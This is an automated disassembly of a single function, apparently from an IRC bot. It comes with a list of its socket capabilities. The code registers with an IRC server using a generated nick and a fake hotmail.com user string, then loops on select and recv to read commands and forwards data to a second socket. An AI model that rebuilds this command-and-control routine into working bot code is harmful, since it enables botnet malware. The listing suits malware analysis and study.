Function at 0x404d65
Capabilities:
Get local ipv4 addresses
Get socket information
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, 0x2544
call fcn.0040ec80
sub esp, eax
mov dword [ebp - 0x18], 1
mov dword [esp + 8], 0x64
mov dword [esp + 4], 0
mov dword [esp], 0x460da0
call sym._memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], str.000.000.000.000
call sym._memset
mov dword [ebp - 0x2418], 0x10
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x2414]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x2418]
mov dword [esp + 8], eax
lea eax, [ebp - 0x2414]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_getsockname]
call eax
sub esp, 0xc
movzx eax, byte [ebp - 0x240d]
movzx ebx, al
movzx eax, byte [ebp - 0x240e]
movzx ecx, al
movzx eax, byte [ebp - 0x240f]
movzx edx, al
movzx eax, byte [ebp - 0x2410]
movzx eax, al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._d._d._d._d
mov dword [esp], str.000.000.000.000
call sym._sprintf
call sym._getnick
mov dword [esp + 0x14], 0x42a0e0
mov dword [esp + 0x10], 0x45fd80
mov dword [esp + 0xc], 0x42a060
mov dword [esp + 8], 0x42a060
mov dword [esp + 4], str.NICK__tG___s_nUSER__s__hotmail.com____s__:_s_n
lea eax, [ebp - 0x2404]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x2404]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x2404]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x2420], 0x3c
mov dword [ebp - 0x241c], 0
mov dword [ebp - 0x2524], 0
mov dword [ebp - 0xc], 0
jmp 0x404ef5
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x2520]
cmp dword [ebp + 8], eax
je 0x404f00
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x2524]
cmp dword [ebp - 0xc], eax
jb 0x404ee2
mov eax, dword [ebp - 0x2524]
cmp dword [ebp - 0xc], eax
jne 0x404f32
mov eax, dword [ebp - 0x2524]
cmp eax, 0x3f
ja 0x404f32
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x2520], edx
mov eax, dword [ebp - 0x2524]
add eax, 1
mov dword [ebp - 0x2524], eax
lea eax, [ebp - 0x2420]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x2524]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.WS2_32.dll_select]
call eax
sub esp, 0x14
test eax, eax
jg 0x404f85
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
jmp 0x405145
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x2404]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x13e8
mov dword [esp + 4], 0
lea eax, [ebp - 0x1404]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x2404]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jle 0x40512f
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [0x45fd04]
test eax, eax
je 0x405047
lea eax, [ebp - 0x2404]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [0x45fd04]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x2404]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], 0
jmp 0x40511e
lea edx, [ebp - 0x2404]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xd
jne 0x4050c2
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1404]
mov dword [esp], eax
call sym._irc_readline
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x4050a2
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0x18]
jmp 0x405145
mov dword [esp + 8], 0x13e8
mov dword [esp + 4], 0
lea eax, [ebp - 0x1404]
mov dword [esp], eax
call sym._memset
jmp 0x40511a
lea edx, [ebp - 0x2404]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x405119
lea edx, [ebp - 0x2404]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
je 0x405119
lea edx, [ebp - 0x2404]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xd
je 0x405119
lea edx, [ebp - 0x2404]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x1404]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x14], 1
jmp 0x40511a
nop
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jl 0x405053
jmp 0x404f85
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret